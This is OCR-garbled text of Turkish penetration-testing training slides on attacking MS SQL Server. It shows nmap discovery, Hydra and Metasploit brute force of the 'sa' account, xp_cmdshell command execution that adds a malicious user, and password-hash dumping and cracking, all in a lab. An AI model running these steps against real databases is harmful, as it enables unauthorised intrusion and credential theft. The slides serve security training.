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kullaniimasiyla
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PenTest sirasinda kullanilan bazi aracglar " @'
' TUBITAK

e Nmap
e Hping
e Scapy...

e Tcpdump
Sn Iffe r e Wireshark...

e Metasploit

VeV EEICIER - core impeat

e Canvas...

e Hydra
Brute Force  BRLLRirLidTs,

e Cain, Opcrack...

e Burp
e Acunetix
e Net Sparker...
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Temel Kavramlar
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Veritabani Sizma Testleri “ ‘@'

TUBITAK

Veritabani sistemleri kritik sistemlerdir.

Testler sonucunda elde edilen bilgiler

Elde edilen verilerin tiru ve onemi

e Miusteri hesap bilgileri

Ba N ka | ar e Para transferleriile ilgili transaction islemleri

Kamu kurumlarl e Vatandas bilgileri
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Veritabani Sizma Testleri “ ‘@'
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Microsoft®

SQL Server

Veritabani
sizma testi
genel olarak 3 ' Exploitation
basliktan
olusmaktadir.

Post-
Explotiation
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e Ag tarama aracl

e Acik kaynak kodlu

e Ucretsiz

e Yaygin kullanim

e Genis bir topluluk destegi

e Gucli

e Bircok isi tek basina yapabilir
e Her platformda calisir

e jyi dokiimantasyon
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Sunucu kesfi

Ag topolojisi kesfi

Port taramasi

Servis ve versiyon tespiti
isletim sistemi tespiti
Guvenlik duvari tespiti
Zafiyet tespiti

Kaba kuvvet saldirisi

Exploit
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Port Taramasi

o SYN Taramas| Servis ve Versiyon

e TCP Taramasi Tespiti
e UDP Taramasi

Ping Taramasi

isletim Sistemi

Zamanlama Betik Taramasi "
Tespiti

Blyuk Aglarin
Taranmasi

IPS/IDS Atlatma
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En sik kullanilan 1000 port --top-ports 10

-p 80,443,445-447 -F (fast)

-sU -sT -p U:53,T:21-25,80

Tum portlar: -p1-65535

rootESGE:~#% nmap -8S --reason 10.0.0.1 --top-ports 10 =-n

Starting Nmap 6.25 ( http://nmap.org ) at
Nmap scan report for 10.0.0.1
Host is up, received reset (0.00089s latency).

PORT STATE SERVICE REASON
21/tcp closed ftp reset
22/tcp filtered ssh no-response
23/tcp closed telnet reset
25/tcp open smtp syn-ack
80/tcp open http syn-ack
110/tcp open pop3 syn-ack
139/tcp open netbios-ssn syn-ack
443/tcp closed https reset
445/tcp open microsoft-ds syn-ack

3389/tcp closed ms-wbt-server reset

Nmap done: 1 IP address (1 host up) scanned in 1.30 seconds
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Port Taramasi ile Sunucu kesfi

e Sunucular ping’e kapali ise
e Ozellikle dis taramalar veya sunucu blogu taramalari

e # nmap -sS --top-ports 10 --open 192.168.0.0/24 -Pn

13
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Servis ve Versiyon Tespiti

TUBITAK

rootE3GE:~¥ mmap -sT 10.100.120.136 -n -Pn

Starting Hmap 6.25 | http://nmap.org )
Mmap =scan report for 10.100.120.136
Host iz up (0.00076= latency).

Hot shown: 297 closed ports

PORT STATE SERVICE

22/tcp open ssh
B0/tcp open http
443/tcp open https

Mmap done: 1 IP address (1 host up) scanned in 0.10 =zeconds
rootESGE:~# nmap -sT 10.100.120.136 -n -Pn[—aVv ]

Starting Hmap €.25 { http://nmap.org )
HNmap =can report for 10.100.120.13&
Ho=st i= up (0.000&85= latency).

Not shown: 997 closed ports

FCET STATE SEERVICE VERSICH

2Z2/tcp open =Ssh CpenS5H 5.3pl Debian 3ubuntu7? (Ubuntu Linux; protocol 2.0)
BO/to open  teopwrapped

443/ tocp open SsSh CpenSS5H 5.3pl Debian 3ubuntu7 (Ubuntu Linux; protocol 2.0§

Service Info: 05 Linux; CPE: cpe:fn:linux:linux_kernel

Service detection performed. Flease report any incorrect results at http://mmap.org
Hmap done: 1 IP address (1 host up) scanned in 34.04 =zeconds

14
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ro0CESGE:~¥%¥ mmap -sU -plél 10.1.0.3 -Pn -n

Starting Mmap 6.25 ( http://mmap.orqg )
Hmap =can report for 10.1.0.3

Ho=t i= up.

PORT STATE SERVICE

161 /udp open|filtered snmp

Hmap done: 1 IP address (1 host up) =scanned in 2.08 seconds
rootESGE:~% nmap -s3U -plél 10.1.0.3 -Pn -n |5V

Starting Nmap 6€.25 ( http://nmap.org )

Hmap =can report for 10.1.0.3

Ho=st i= up.

PCRT STATE SERVICE SELRSTON

161/udp open s=snmp SHMPv1l server (public)
Service Info: Ho=st: AFOIDOMI

Service detection performed. Please report any incorrect results
Hmap done: 1 IP address (1 host up) =scanned in 2.21 seconds

15
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GirdiYonetimi

* -iLip_listesi.txt
* 192.168.1-255.0-255
* 192.168.1.0/24 10.0.0.0/16

°* 192.168.1-255.1-10,254

CiktiYonetimi |

* -oN: Normal (Okunabilir)

* -0G: Grepable (Parsing)
* -0X: XML (Veritabanina atmak icin)

e -0A:TUum formatlarda
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Metasploit
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Exploit calistirma ve gelistirme araci
H.D. Moore, 2003

Acik kaynak kodlu

Ruby ile yazilmis

Exploit modulleri incelenebilir
Rapid7 urund

Metasploit Community ve PRO
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_ Metasploit Framework [\

LIBRARIES

TOOLS

S

INTERFACES

Console

CLI

WEB
PLUGINS BA Pro & commun ity
Editions

GUI

/-—\_\ Pro & community
v Editions

Armitage

- |

MODULES
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Exploits

(e

e Acikligi somiren kod parcasi

sl Payloads

e Exploit edildikten sonra elde edilen haklar ile hedef sunucuda ¢alistirilan kod pargasi

e ENCOders

e Antivirus, IPS/IDS gibi sistemleri atlatmak i¢in kodlama

s Auxiliary

¢ Yardimci modiiller

E— Post

e Exploit edilmis sistemde saldiriyi ilerletmek icin ¢alistirilan kod parcasi
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Kullanici Arayuzleri

=] Msfconsole

* Metasploit konsol arayizi

— Msfcli

¢ Betikler ile birlikte kullanilabilecek komut satiri arayizi

me]  Msfpayload

* Payload Uretici

— Msfencode

* Payload kodlayici, IDS, IPS ve anti-viriis’lerden korunma

s WEB

* Metasploit PRO ve Community

memn]  Armitage

o[l
(©QIOOC 22
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msfconsole
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Exploit arama

-

e Excellent: Servis disi birakmayan basarili

e Great: Hedef sistemin versiyon bilgisini tespit eder ve
otomatik ayarlari yapar

e Good: Genel yapilandirmada duzgtin ¢alisir

e Normal: Tam olarak hedef sistemin versiyon bilgisini
tespit edemez

e Average: Guvensizdir
e Low: Nadiren duzgln calisir
e Manual: Cok gluivensizdir, genelde servis disi birakir

28
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-

e Stagers + Stages

e Baglantiyi ve istenilen islevi beraber yapar
e Tek is gerceklestirmek icin

e Ornek: adduser, exec, shell_bind_tcp

O

e Baglantiyi gerceklestirir

e Kicuk boyutta ve glvenilir

e Bliylk boyuttaki payload’lari (Stages) hedef sisteme ylkler
e Ornek: bind_tcp, reverse_tcp, reverse_http

N

e Hedef sistemde kompleks islemler gerceklestirme yetenegi
e Stages tarafindan yuklenir

e Bliylk boyutta olabilir

e Ornek: meterpreter, shell

32
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msfconsole

msf exploit (ms
PAYLOAD => wi

m=f exploit (ms

Module option

Payload

Hame

EXITFUNC

Exploit target:

Hame

Automatic Targeting

PAYLOAD windows/ sl /bind tcp

w AL LI

options
0B 067 netapi):
scription
target address

the SME =service port

pipe name to

e3criptlion

TUBITAK
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Kesif asamasinda elde edilen
bilgiler

Veritabani sisteminin varligi
Veritabani versiyonu
Veritabani sunucu adi
Instance adi (MsSQL)

Veritabani portu

Listener servisi

Varsayilan kullanici adi - parola
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Veritabani
sistemlerini
kesfetmek igin
kullanilan
araglar:

Metasploit
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* 'ms-sql-info.nse’ ciktilari'sonucu elde edilenler;
— Instance adi
— Versiyon bilgisi
— Urin bilgisi

* Nmap scriptinin kullanimi asagida verilmistir;

nmap -p <Port> --script ms-sql-info <host>
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c~# nmap -p 1433 --script ms-sqgl-info 192.168.242.132

Starting Nmap 6.40 ( http://nmap.org ) at 2016-04-26 04:02 EDT
Mmap scan report for 192.168.242.132

Host is up (0.00070s latency) .

FORT STATE SERVICE

1433/tcp open ms-sql-s

MAC Address: Q0:0C:29:FF:5D:4A (VMware)

Host script results:

| ms-sql-info:

| Windows server name: SQLZEOGERZ

| [192.168.242 132\PENTEST _EGITIM]

| Instance name: PENTEST EGITIM

| Version: Microsoft SQL Server 2008 RZ RTM
| Version number: 10.50.1600.00

| Product: Microsoft SQL Server 2008 RZ2
| Service pack level: RTM

| Fost-5SP patches applied: No

| TCP port: 1433

| Clustered: No

MNmap done: address (1 host up) scanned in 0.48 seconds



https://creativecommons.org/licenses/by-nc-nd/4.0/legalcode.tr
https://creativecommons.org/licenses/by-nc-nd/4.0/legalcode.tr

Kesif icin Nessus " ‘@'
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mad  Nessus eklentilerinin bulgulari

e \eritabani sistemleri
e Veritabani sistemleri Gzerinde bulunan acikliklar
e \eritabanindaki varsayilan hesaplar

Veritabanlari ile ilgili Nessus eklentileri (plugins)

e Databases
e Windows
e Service Detection
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Nessus Eklentileri
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Nessus Eklentileri

Databases

MsSQL Server

Microsoft SQL Server
Authentication
Function Remote
Overflow

Microsoft SQL Server Microsoft SQL Server
Detection UDP Query Remote

(credentialed check) Version Disclosure

41
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Nessus Eklentileri
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Nessus Eklentileri

Windows Service Detection

MS12-070: Vulnerability
in SQL Server Could Allow
Elevation of Privilege
(2754849)
(uncredentialed check)

MS08-040: Microsoft SQL
Server Multiple Privilege
Escalation (941203)
(uncredentialed check)

MS09-004: Vulnerability
in Microsoft SQL Server
Could Allow Remote
Code Execution (959420)

J

Microsoft SQL Server
TCP/IP Listener Detection

J
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rosoft SQL Server UDP Query Remote Version Disclo

Microsoft SQL Server UDP Query Remote Version Disclosure < >

Description

Microsoft SQL server has a function wherein remote users can query the database server for the version that is
being run. The query takes place over the same UDP port that handles the mapping of multiple SQL server
instances on the same machine.

It is important to note that, after Version 8.00.194, Microsoft decided not to update this function. This means that

the data returned by the SCQL ping is inaccurate for newer releases of SAL Server.

Solution

If there is only a single SAL instance installed on the remote host, consider filter incoming traffic to this port.

Output

A "ping' request returned the following information about the remote
S50L instance

Serverllams : SQL200BR2
InstancelMam=s : FENTEST_REGITIHM
IsCluster=sd : No
Version : 10.50.1600.1
top : 14323

Port * Hosts

1424 / udlp 192.168.242132 @
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Synopsis

Arbitrary code can be executed on the remaote host through SCL Server.

Description

The remote host is running a version of Microsoft SQL Server, Deskiop Engine or Internal Database that suffers
from an authenticated, remote code execution vulnerability in the MSS0L extended stored procedure
‘sp_replwritetovarbin® due to an invalid parameter check.

Successful exploitation could allow an attacker to take complete control of the affected system.
Yulnerability Information

CPE: cpeldomicrosoftwindows cpeda:microsoftsql_server
Exploit Available: true

Exploitability Ease: Exploits are available

Exploitable VWith:
Metasploit (Microsoft SOL Server sp_replwritetovarbin Memaory Corruption)
CAMNVAS (CANVAS)

Core Impact
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Zafiyet
barindiran
sistemlere

sizma

Auxiliary

moddulleri

Aciklik
barindiran
sistemler
hakkinda bilgi
elde etme
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Auxiliary
Modadilleri

Scanner

auxiliary/scanner/ auxiliary/scanner/ auxiliary/scanner/
mssql/mssql_logi mssql/mssql_has mssql/mssql_sch
n hdump emadump

auxiliary/scanner/

mssql/mssql_ping



https://creativecommons.org/licenses/by-nc-nd/4.0/legalcode.tr
https://creativecommons.org/licenses/by-nc-nd/4.0/legalcode.tr

‘mssql_ping’ Auxiliary Modulu |

TUBITAK

msf auxiliary( ) = set RHOSTS 19Z2.168.242.133
EHOSTS == 192.168.242.133
msf auxiliary( 1 = show options

Module options (auxiliary/scanner/mssql/mssql_ping) :

MName Current Setting Required Description

PASSWORD The password for the specifie
d username

RHOSTS 192 .168.242.133 The target address range or C
IDR identifier

THREADS 1 The number of concurrent thre
ads

USERNAME sa The username to authenticate
as

USE WINDOWS AUTHENT false Use windows authentification
(regquires DOMAIN opticn set)

mst auxiliary( 1 = run

[*] SQL Server information for 192.168.242.133:
ServerMName SQLZG08RZ
InstanceName PENTEST _EGITIM
IsClusterad Mo
Version 16.50.1600.1
tcp 1433

[*] Scanned 1 of 1 hosts ([100% complete)

[*] Auxiliary module execution completed

msf auxiliary( ) = |}
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Kesif icin Dosyalar (web.config)

i¢c ag testleri sonucunda elde edilen cesitli baglanti ve/veya yapilandirma dosyalari

e Veritabani IP adresleri

e Instance isimleri

e Port bilgileri

e Kullanici adi ve parola bilgileri

TUBITAK

‘Web - Notepad
File Edt Format View Help

Baglantilar --»

name="®=Local" connectionstring
name=""we-Main" connectionstringd

023 Int1al Catalog="as ;Uéer

Data Source=1

: : 1t Id=s5a; password=3
name=""84'Log" connectionstring=|Data Source=172.16.1.102;Initial Catalog=tmer;User Id=sa;password=a

ionstrings>
eb>

H [

YWeb.config - Notepad ++

File

Edit

Search Miew Encoding Language  Settings

Macra  Run

Plugins

‘i o

?

= 1

ED|DENBR| = &

- e =)
| cEHE s c@ldbR|ae|dnm| 2t s|EE
[=| “web.canfig |
24 <oonhection3trings:>
25 <add|na.me="- " cnnnectiDnString='|Passnmrd= = el - JLPersist Security
Info=True;User ID=s=m = m:Initial Catalog=" :Data Source=192.168.10.42"™
providerName="3vstem.Data.3glClient™ />
26 <add name=". o AetivebirectoryConnection3tring®™
connection3tring="LDAP:/ /" Q™ SDiC= DC=ppy,DC=tr" />
27 </oonnectiondtringss

ystem. Data, S
providername

E MG

providernNames

[ le]
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Zafiyet barindiran sistemlerin ele gecirilmesi

Veritabani sistemlerine sizabilmek icin kullanilan yontemler

e Veritabani sistemlerinde bulunan zafiyetler
e Kaba kuvvet ve sozlik saldirilariyla elde edilen kullanici adi ve parola bilgileri
e ic ag testlerinde elde edilen veritabani baglanti bilgileri

e Veritabani sistemlerinde bulunan ve isletim sistemi Gzerinde komut
calistirabilen moduller

e Veritabani yonetici bilgisayarlari Gzerinden veritabani sistemlerine erisme

e \eritabani sisteminin kurulu oldugu sunucuya erisim saglayip, sunucu lzerinden
veritabani sistemlerine yetkili erisim saglama



https://creativecommons.org/licenses/by-nc-nd/4.0/legalcode.tr
https://creativecommons.org/licenses/by-nc-nd/4.0/legalcode.tr

Exploitation icin Metasploit [ \ 4

TUBITAK

Nessus

ciktilari Metasploit Exploitation



https://creativecommons.org/licenses/by-nc-nd/4.0/legalcode.tr
https://creativecommons.org/licenses/by-nc-nd/4.0/legalcode.tr

Exploitation i¢cin Metasploit

Exploitation

Nessus

Microsoft SQL
Server Default
Credentials

Microsoft SQL
Server sa
Account Default
Blank Password

Metasploit

exploit/windows
/mssqgl/ms09_00
4 sp_replwriteto
varbin

J

exploit/windows
/mssql/mssql
payload

v
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Microsoft SQL Server Default Credentials j

‘ Microsoft 3QL Server Default Credentials ( )
Synopsis

Credentials for the remote database server can be discovered.

Description

The S0L Server has a common password for one or more accounts. These accounts may be used to gain access to the
records in the database or even allow remote command execution.

Plugin Output

172.16.3.242

Service: mssql

1433 Itcp The following credentials were discovered for the remocte 3QL Server

Account 'sa' has password 'sa’

@IS0 5
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J uUsername
RHOST yes The target address
RPORT 133 yes f target port
USERNAME 0 ¢ ername to au

USE_WINDOWS
(require )

= info

writetovarbin Memory Corruption

NEE 104 _sp_replwritetovarbin

EXITFUNC

LHOST
LPt

jduck <=jduck@metasploit.com=

fvailable targets:
MName
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ms-sql-
brute.nse
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Metasploit aracinda gesitli veritabanlarina ¢cevrimigi Exploitation
parola kirma saldirisi gerceklestiren moduller
bulunmaktadir. MsSQL Server icin en sik kullanilani |
‘mssql_login” modualudur.

Cevrimici
Parola Kirma
Saldirilari

Metasploit

auxiliary/scanner/mssql/mssql_login
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:~/Desktop# hydra -v -V -1 sa -P '/root/Desktop/pass.txt' -t 4 192.168.242.133 mssqgl

Hydra v7.6 (c)2013 by van Hauser/THC & David Maciejak - for legal purposes only

Hydra (http://www.thc.org/thc-hydra) starting at 2016-04-27 (G8:33:50

[DATA] 4 tasks, 1 server, 5 login tries (1:1/p:5), ~1 try per task

[DATA] attacking service mssgl on port 1433

[VERBOSE] Resolving addresses ... done

[ATTEMPT] target 192.168.242.133 - login "sa" pass "12345" - 1 of 5 [child @]
[ATTEMPT] target 192.168.242.133 - login "sa" pass "password" - 2 of 5 [child 1]
[

[

[

[

[

ATTEMPT] target 192.168.242.133 login "sa" pass "sifrelZ3" - 3 of 5 [child 2]

ATTEMPT] target 192.168.242.133 login "sa" pass "sa" - 4 of & [child 3]

ATTEMPT] target 192.168.242.133 login "sa" pass "Qazwsx" - 5 of 5 [child @]

STATUS] attack finished for 192.168.242.133 (waiting for children to complete tests)
11 ] host: login: password:

1 of 1 target successfully completed, 1 valid password found pass.txt

Hydra (http://www.thc.org/thc-hydra) finished at 2016-04-27 (08:33:54

:*-;"DESI{tDp#D File Edit Search Options Help
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auxiliary > Show OpLlons
Module options (auxiliary/scanner/mssql/mssql_login) :

MName Current Setting Required Description

BLANK_PASSWORDS blank passwords fTor all u
BRUTEFORCE_SPEED How fast to bruteforce, from
DE_ALL_CREDS Try each user/password couple

DBE_ALL_FPASS Add all passwords in the curr
DBE_ALL USERS false
PASSWORD
PASS FILE Sroot/Desktop/pass.txt File Edit
RHOSTS 192.168.242.133
RPORT 1433
STOP_ON_SUCCESS false
THREADS 1
USERMNAME sa
USERPASS FILE
e palilr per Lline
USER_AS PASS I=18=1=]
USER_FILE
USE WINDOWS _AUTHENTS 'tTalse Use windows authentification
VERBOSE true Whether to print output for a

Search Options Help

auxiliary( ) = run

192.168.242.133:1433 - MS5QL - Starting authentication scanner.
192.168.242.133:1433 MSSQL - [1/6] - Trying username:'sa' with password:
192.168.242.133:1433 MSSQL [1/6] failed to login as 'sa'

192.168.242.133:1433 MSSQL [2/86] Trying username: 'sa' with password:'12345"
192.168.242.133:1433 MSSQL [2/6] failed to login as 'sa'

192.168.242.133:1433 MSSQL [3/6] Trying username:'sa' with password:'password!’
192.168.242.133:1433 MSSQL [3/6] failed to login as 'sa’

192.168.242.133:1433 MSSQL [4/6] Trying username:'sa’ with password:'sifrelZ3’
192.168.242.133:1433 MSSQL [4/6] failed to login as 'sa’

192.168.242.133:1433 MSSQL [5/6] Trying username:'sa'’ with password:'sa’

192 .168.242.133:1433 - MSSQL - successTul login 'sa' :

Scanned 1 of 1 hosts (lG00% complete)

Auxiliary module execution completed

auxiliary(

TUBITAK
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bilgilerinin
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araglar

Aqua Data
Studio
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TUBITAK
@Toadforsql_ = @NEEdMﬂrEInfnrmaﬁmanrrm E3 '
File Edit WView Tools Window Help
Group:
(500
-~ ép -.: . / LR{ Microsoft SQL Server *l
Open Print Connect Edit Login | Advanced |
Server name: @ |SQL2008R2\PENTEST EGITIM ~ ---| [
Authentication: |SQL Server Authentication A |
a1 e L") . __
rE R L &g S _ |
Login: |sa |
passward: [ N
4 Jo Microsoft SQL Server assword: i
»& SQL2008R2\PENTEST_EGITIM (SQL2008R2\Ad | patabase: [ <defauit> oo
~laF
Encrypt connection E
Mame: |
SQL2008R2\PENTEST _EGITIM {sa) | L
Category: | Mone hd |
Save password Connect on startup
Connect Save Cancel

= MG RO
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Veritabani sistemlerinin kurulu oldugu isletim
sistemi Gzerinde komut calistirma

MsSQL Server

e Xp_cmdshell

Metasploit

» exploit/windows/mssql/mssql_payload
e auxiliary/admin/mssql/mssql_exec
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msf auxiliary( ) = show options
Module options (auxiliary/admin/mssql/mssqgl _exec) :

Mame Current Setting Required Description

CMD cmd.exe /Sc whoami Command to exec

PASSWORD sa The password fo

RHOST 192.168.242.133 The target addrg

RPORT 1433 The target port

USERMAME =3 The username to - All Control Panel Items + User Accounts
USE WIMDOWS AUTHENT &' false Use windows aut

tion set j Make changes to your user account

msf auxilia ry [ ) = run Change your picture
Hs Change U ccount Control settings

[*] SOL Query: EXEC master..xp_cmdshell 'cmd.exe /c whoami' A Manage User Accounts

Advanced |
four computer,

Nt authority‘system

[*] Auxiliary module execution completed
msf auxiliary( ] =

msT auxiliaryl ] = run

';‘-_7; zararli_user

[*] SQL Query: EXEC master..xp_cmdshell 'cmd.exe /c net user zararli_user 1234qgqQ Sadd'

The command completed successfully.

[*] Auxiliary module execution completed
msf auxiliary( ] =
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Veritabani
Veritabani yonetim Veritabani
yoneticisi araclarinda sistemlerine
bilgisayarlarina baglanti yetkili haklarla
erisim saglama bilgilerinin erisim saglama
kayith tutulmasi

-
AGUAFOLD

AQUA DATA STUDIO
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Veritabani
yoneticisinin
bilgisayarina kendi
kullanicisiyla
oturum aciimal

Exploitation i¢cin Verita

Bil

Veritabani yonetim
araclar Gzerinde
kayith bulunan
baglanti bilgileri
elde edilemeyebilir

pani Yoneticileri
gisayarlari

Fark edilmemek
icin bilgisayar
coklu uzak
masaustu
yapilabilecek
duruma getirilmeli

v

TUBITAK
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Veritabani sistemlerine sizildiktan sonra
gerceklestirilen islemler

Hedef => Veritabani sistemlerinde bulunan
kritik bilgiler

e Veritabani kullanicilar
e Veritabani kullanicilarinin sifre 6zetleri
e Kurum icin kritik olan bilgiler
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* MsSql Server veritabani kullanicilarinin sifre
ozetleri 'Sys.sql_logins’ tablosunda
tutulmaktadir.

SELECT name, cast (password as varbinary(256)) FROM sys.syslogins

‘ SELECT name, cast (password as wvarbinarv(256)) FROM svs.svslogins

A |
1 Results |L:§ Messages

name | (Mo column name)
1 53 M0 100532BF77DFFS50670513862EA4ERRTAT7ST 71085 7CFEB4507
2 HHEMS_S50QLResource SigningCertificate & MULL
3 HHMS _S0QLReplicationSigningCertificatest = MULL
4 HEMS_SQLAthenticatorCertificate 5 MULL
L] HHEMS _PolicySigningCertificateHs MULL
[ HHMS _SmoEstendedSigningCertificateffi MULL
7 HHEMS_PolicyEventProcessing Logind# O0100658631648BCADTDEZA446D 854505 FB7BFEEFCE42CDTE1ASE
2 HHEMS_ Policy TeglExecution LogingH Oc01005575526317A51 040 B ERDS44 20 1BEFIEEEEND4ABEADET1DAZ3
5 HHEMS _Agent SigningCerificatedit MULL
10 | NT AUTHORITY.SYSTEM MULL
11 NT SERVICENMSSOLSPENTEST_EGITIM | MULL
12 | SQL2008R2"Administrator MULL
13 | BUILTIMNUszers MULL
14 | SQL2008R2%Sge_Egitim MULL
15 [ fatih Oc0100AB5EBZDD1FRABT1DSEL0BBAFZEDEIEZBE1 2150625ER1BCCST @ 67
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MsSQL Server veritabanina ait sifre 6zeti su bolimlerden olusur:

e 0x100 kismi sifre 6zetinin alindigi MsSQL Server stirimunu belirtir.

* 0x100 => MsSQL Server 2005-2008

* 0x200 => MsSQL Server 2012

e 57416A34 kismituz (salt) kismini olusturur.

 F14E8C0002AFD6849CA7906C874E3D1A6801D087 kismi ise klictk harfe
duyarh olan sifre 6zeti kismini belirtir.
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Post-
exploitation

ms-sql-

dump-hashes ms-sql-query

ms-sql-config
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DT Ms-sglL-dump-nashes --sCcrilpt-ards mssql.username=s4,m

at 2016-04-28 03:32 EDT

Nmap done: 1 IP address (1 host up) scanned in ©0.41 seconds
:~/Desktop#

gloce

= MG RO
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:~/Desktop# nmap -p --script ms-sql-query --script-args mssql.username=sa,mssql.p
assword=sa 192.168.242.135

Starting Nmap 6.40 ( http://nmap.org ) at 2016-04-28 03:33 EDT
Nmap scan report for 192.168.242.135
Host is up (0.00074s latency) .
PORT STATE SERVICE
1433/tcp open ms-sqgl-s
| ms-sql-query:
| (Use --script-args=ms-sqgl-query.query="'<QUERY>' to change query.)
[192.168.242.135:1433]

Query: SELECT @@version wversion

version

Microsoft SQL Server 2008 R2 (RTM) - 10.50.1600.1 (X&4)
Apr 2 2010 15:48:46
Copyright (c) Microsoft Corporation
| Express Edition with Advanced Services (64-bit) on Windows NT 6.1 <K64= (Build
7601: Service Pack 1) (Hypervisor)
MAC Address: Q0:0C:29:FF:5D:4A (VMware)

Nmap done: 1 IP address (1 host up) scanned in 0.45 seconds
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:~/Desktop# nmap -p --script ms-sql-conflg --script-args mssql .username=sa,mssql.password=
a 192.168.242.135

Starting Nmap 6.40 [ http://nmap.org ) at 2016-04-28 03:36 EDT
Nmap scan report for 182.168.242.13%
Host is up (0.0008ls latency) .
PORT STATE SERVICE
1433/tcp open ms-sql-s
| ms-sgl-config:
| [192.168.242.135:1433]
Databases
name db _size owner

fatih 3.00 MB sa
Configuration
name value inuse description

SQL Mail XPs 0 Enable or disable-SQL Mail-XPFs

]
Database Mail XPs ] Q Enable or disable Database Mail XPs

Ole Automation Procedures €] 6] Ernable or disable Ole Automation Procedures
xp_cmdshell 1 1 Enable or disable command shell

Ad Hoc Distributed Queries 5] 6] Enable or disable Ad Hoc Distributed Queries
Replication XPs C] c] Enable or disable Replication XPs

|
|
|
|
|
|
| SMO and DMO XPs 1 1 Enable or disable SMO and DMOD XPs
|
|
|
MAC Address: 08:0C:29:FF:5D:4A (VMware)

Nmap done: 1 IP address (1l host up) scanned in 0.41 seconds



https://creativecommons.org/licenses/by-nc-nd/4.0/legalcode.tr
https://creativecommons.org/licenses/by-nc-nd/4.0/legalcode.tr

Post-Exploitation icin Metasploit I @'

Post-
exploitation

Metasploit aracinda - bulunan veritabanlari hakkinda
bilgi toplayan MsSQL "Server modullerinden bazilari
sunlardir:

Metasploit
auxiliary/admin/mssql/mssql_enum
auxiliary/scanner/mssql/mssql_hashdump

o /3
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msf auxiliary( ) = show options
Module options (auxiliary/scanner/mssql/mssgl_hashdump) :
Name Current Setting Required Description

PASSWORD password for the specified username

RHOSTS 192.168.242.135 vyes target address range or CIDR identifier

RPORT 1433 yes target port

THREADS 1 yes number of concurrent threads

USERNAME sg no username to authenticate|as

USE WINDOWS AUTHENT false yes windows authentification (requires| DOMAIN option set)

auxiliary( ) = run

Instance Name: "PENTEST EGITIM"
192.168.242.135:1433 - Saving mssql05.hashes
192.168.242.135:1433 - Saving mssql05.hashes
192.168.242.135:1433 - Saving mssql05.hashes
192.168.242.135:1433 - Saving mssql05.hashes
Scanned 1 of 1 hosts (100% complete)
Auxiliary module execution completed
msf auxiliary( I |

5a:0100932bf77dff990670513862ea4e867a779771d897¢ fEb45d7

##MS PolicyEventProcessinglogin##:010065a631648bcal7de2a446dB54555fb7bfE6fc842cd751a%
##MS PolicyTsqlExecutionlogin##:01009975526317a9104dbeb09442d1b53586e0d4ab64d81d423
fatih:0100a85eb2dd] f5abld9b40bb4 f2ede3e2b812150625e51bcc 97
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mae Sifre Ozetleri kirmak icin kullanilan araclar

e Hashcat
e John the Ripper - Johnny
e Cain and Abel

Johnny
L =
ot Session | Start Attack Resume Attack  FPause Attac Copy
Password Hash
sa Ox010093 2bf77dff990670513862ea4e867a779771d897cf6b4 547

Ox010065a631648bcal/de 2a446d854555fb7bfebfc84 2cd/751a%e

Ox01009975526317a9104dbeb0944 2d1b5f3586e0d4abb4d81dd 23

toto éOxOlOGﬂ-OSﬁ CEEGBF932BC4151A1AFIF13CD17301D708106A8886908

75
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